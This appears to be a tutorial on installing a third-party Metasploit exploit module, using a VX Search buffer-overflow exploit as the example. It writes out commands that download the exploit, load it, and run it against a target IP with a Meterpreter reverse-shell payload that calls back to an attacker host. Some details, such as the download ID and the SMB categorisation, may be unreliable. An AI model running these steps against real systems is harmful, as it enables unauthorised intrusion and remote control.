How to Add a Third‑Party Module to the Metasploit Framework

Metasploit is a fantastic playground for security researchers, but the official module list isn’t the whole story. Often you’ll stumble across a ruby‑based exploit written by someone else – a "third‑party" module. These can come from bug‑bounty write‑ups, open‑source security projects, or simply a pen‑tester’s own hobby.

Before you start copying files around, it helps to know where Metasploit looks for modules. By default there are two places:

• Official module directory – usually /usr/share/metasploit-framework/modules/. Anything placed here comes bundled with the framework itself.
• User module directory – ~/.msf4/modules/. This is the preferred spot for your own or third‑party code because updates to Metasploit won’t wipe it out.

With that cleared up, let’s walk through adding a real‑world example – a buffer‑overflow exploit for VX Search Enterprise 9.5.12. The steps are the same for any module you might find on Exploit‑DB, GitHub, or elsewhere.

Step 1 – Grab the module. Open a terminal and head to a directory where you want the file to live (you can work directly in the target module folder, but downloading elsewhere first is safer). Then use wget (or curl) with the URL of the ruby file:

wget https://www.exploit-db.com/download/12345 -O vxsrchs_bof.rb

Once you have vxsrchs_bof.rb, move it into the appropriate Metasploit path. Because this is a Windows SMB‑related exploit, the logical place is:

mv vxsrchs_bof.rb ~/.msf4/modules/exploits/windows/smb/

If the sub‑folders don’t exist yet, feel free to create them – Metasploit will pick them up later.

Step 2 – Reload the framework. Start (or restart) the console so it can see the new file:

msfconsole

After the banner appears, type:

reload_all

This forces Metasploit to re‑index every module, including the one you just dropped in.

Step 3 – Verify the module is there. Use the search command with a keyword that matches the exploit’s name or description:

search vx

You should see something like exploit/windows/smb/vxsrchs_bof in the output. If you don’t, double‑check the file location and make sure the ruby file has the proper Msf::Exploit class definition.

Step 4 – Load and inspect. Pull the module into the console with use and then run info to read its details:

use exploit/windows/smb/vxsrchs_bof
info

The info command prints the author, description, required options (like RHOST, RPORT), and any payload recommendations. Take a moment to review those – it’s easy to miss a mandatory setting and wonder why the exploit won’t fire.

Step 5 – Configure and run. Set the target’s IP address and any other options, choose a payload, and then execute:

set RHOST 192.168.1.100
set RPORT 445
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
run

If everything lines up, you should get a session back. If not, double‑check the exploit’s prerequisites – some modules need a specific Windows version or service pack.

That’s it. Adding a third‑party module is essentially a copy‑paste job, followed by a quick reload and a sanity check. Keep your ~/.msf4/modules/ folder tidy, and you’ll have a growing toolbox that survives framework upgrades.